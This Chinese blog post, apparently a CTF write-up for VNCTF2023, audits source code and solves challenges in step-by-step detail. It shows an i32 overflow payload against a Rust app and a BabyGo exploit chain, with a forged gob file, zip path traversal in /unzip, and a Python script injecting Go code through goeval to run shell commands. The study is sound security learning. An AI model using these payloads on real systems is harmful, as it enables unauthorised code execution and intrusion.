目录

  1. 1. 前言
  2. 2. 象棋王子
  3. 3. 电子木鱼(复现)
    1. 3.1. 分析
      1. 3.1.1. 初始页面
      2. 3.1.2. 获取flag的条件
      3. 3.1.3. 定义name(选项)及其Cost(花费的功德)
      4. 3.1.4. 主要判断部分
    2. 3.2. 思路
    3. 3.3. 操作
  4. 4. BabyGo(复现)
    1. 4.1. 分析
      1. 4.1.1. filepath.Clean
    2. 4.2. 思路
    3. 4.3. 操作

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

VNCTF2023

2023/2/26 CTF线上赛
  |     |   总文章阅读量:

前言

明年再战

象棋王子

jsfuck,把编码复制到控制台执行就行


电子木鱼(复现)

RUST文件代码审计

整数溢出

分析

main.rs

初始页面

每次修改后都要返回此页面查看数值

image-20230226221223336

获取flag的条件

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {	//GONGDE大于1_000_000_000即可获取flag
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

struct APIResult {
    success: bool,
    message: &'static str,
}

#[derive(Deserialize)]
struct Info {
    name: String,
    quantity: i32,//定义quantity为i32类型的有符号整数
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
    name: &'static str,
    cost: i32,
}

定义类及参数


定义name(选项)及其Cost(花费的功德)

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

主要判断部分

#[post("/upgrade")]		//此段说明在/upgrade中传参方式为POST
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {	//从Info中获取参数名
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {		//禁止传入小于等于0的数
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {		//根据传入name的类型进入不同分支
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;		//在 name 参数为 Donate 或Cost 的时候会将原本的功德消耗值乘上我们传入的 
        }								//quantity参数值计算功德消耗

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}
  • 返回均为json页面

思路

  • name 参数为 Donate Cost 的时候会将原本的功德消耗值乘上我们传入的 quantity 参数值计算功德消耗
  • 但是唯一能使功德增加的 Loan 选项并没有出现在此分支的条件判断中,因此无法直接正向增加功德一步到位。正向的路基本被堵死
  • 同时我们也注意到 cost 变量为 i32 有符号整数,上限为2,147,483,647,当我们要扣的功德足够大时就会造成溢出,得到一个绝对值非常大的负数。再加上并没有设置对 quantity 参数的限制,办到这一点还是不难的。

操作

在upgrade中发出请求使功德扣至溢出

payload:

name=Cost&quantity=1147483647

image-20230226224920856

返回页面获取flag


BabyGo(复现)

解压文件目录穿越 + goeval代码注入

源码

package main

import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

	r.Run(":80")
}

分析

审计一下,发现有4个路由

/:创建了一个user.gob文件,保存到userDir目录,即/tmp/cbc82b2da88e6d42967790fe2d921bb5/下,然后设置了ctfer.Power的值为low

gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}

/upload

ban掉了gob和go后缀

ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}

上传文件到userUploadDir := session.Get("shallow").(string) + "uploads/",即根路由下回显的/tmp/cbc82b2da88e6d42967790fe2d921bb5/

filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}

/unzip

解压我们上传的文件

r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

值得注意的是这里的参数c是可控的,对应destPath := filepath.Clean(userUploadDir + c.Query("path"))

即path的值我们是可控的,这里的path也就是我们要解压到的路径,猜测这里可能存在解压操作常见的目录穿越或目录遍历漏洞

filepath.Clean

看一下filepath.Clean的作用

image-20240126140225453

image-20240126140202362

大概意思是可以利用这个进行目录穿越从而控制解压的文件路径

/backdoor

r.GET("/backdoor", func(c *gin.Context) {
	session := sessions.Default(c)
	if session.Get("shallow") == nil {
		c.Redirect(http.StatusFound, "/")
	}
	userDir := session.Get("shallow").(string)
	if fileutil.IsExist(userDir + "user.gob") {
		file, _ := os.Open(userDir + "user.gob")
		decoder := gob.NewDecoder(file)
		var ctfer User
		decoder.Decode(&ctfer)
		if ctfer.Power == "admin" {
			eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
			if err != nil {
				fmt.Println(err)
			}
			c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
			return
		} else {
			c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
			return
		}
	} else {
		c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
		return
	}
})

打开user.gob文件,然后进行gob.NewDecoder

if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)

看一下gob.NewDecoder的作用

image-20240126141607435

那么应该就是以二进制解码/反序列化 user.gob 文件的意思

接下来就是我们要进行命令执行的地方——goeval

if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			}

这里参数pkg是我们可控的

但是在这之前要先让ctfer.Power == "admin",这个值在最开始user.gob时被设置为了low

思路

既然直接文件上传ban掉了go的后缀,我们可以先上传压缩包再用/unzip进行解压,控制路径覆盖/tmp/cbc82b2da88e6d42967790fe2d921bb5/user.gob,让ctfer.Power == "admin"成立

然后对goeval进行命令注入即可


操作

伪造user.gob

package main
 
import (
	"encoding/gob"
	"github.com/duke-git/lancet/fileutil"
	"os"
)
 
type User struct {
	Name  string
	Path  string
	Power string
}
 
func main()  {
	userDir := "./serial/"
	fileutil.CreateDir(userDir)
	gobFile, _ := os.Create(userDir + "user.gob")
	user := User{Name: "ctfer", Path: userDir, Power: "admin"}
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)
 
}

go run main.go./serial/下获得user.gob文件

压缩gob文件并在/upload路由上传,得到路径/tmp/cbc82b2da88e6d42967790fe2d921bb5/uploads/user.zip

接下来在/unzip解压,传入path参数进行目录穿越

image-20240126150514999

最后在/backdoor处进行命令注入,参数为pkg(脚本来源:枫佬

import requests
 
url="http://44a907bb-5c46-4443-a415-c07a709328fa.node5.buuoj.cn:81/backdoor?pkg="
 
payload='''\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\",\"/\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1'''
# payload=''
 
url = url + payload
 
header={
    "Cookie" : "session=MTcwNjI1MDEyN3xEdi1CQkFFQ180SUFBUkFCRUFBQVJfLUNBQUVHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM2NHYzNSeWFXNW5EQ2dBSmk5MGJYQXZZMkpqT0RKaU1tUmhPRGhsTm1RME1qazJOemM1TUdabE1tUTVNakZpWWpVdnxd56ZX1uJ5SixsF7hu7fTzfwSV5QNU3i6K1c7dgOo6Eg==",
    "Host": "44a907bb-5c46-4443-a415-c07a709328fa.node5.buuoj.cn:81",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)"
}
 
r = requests.get(url,headers=header)
 
print(r.text)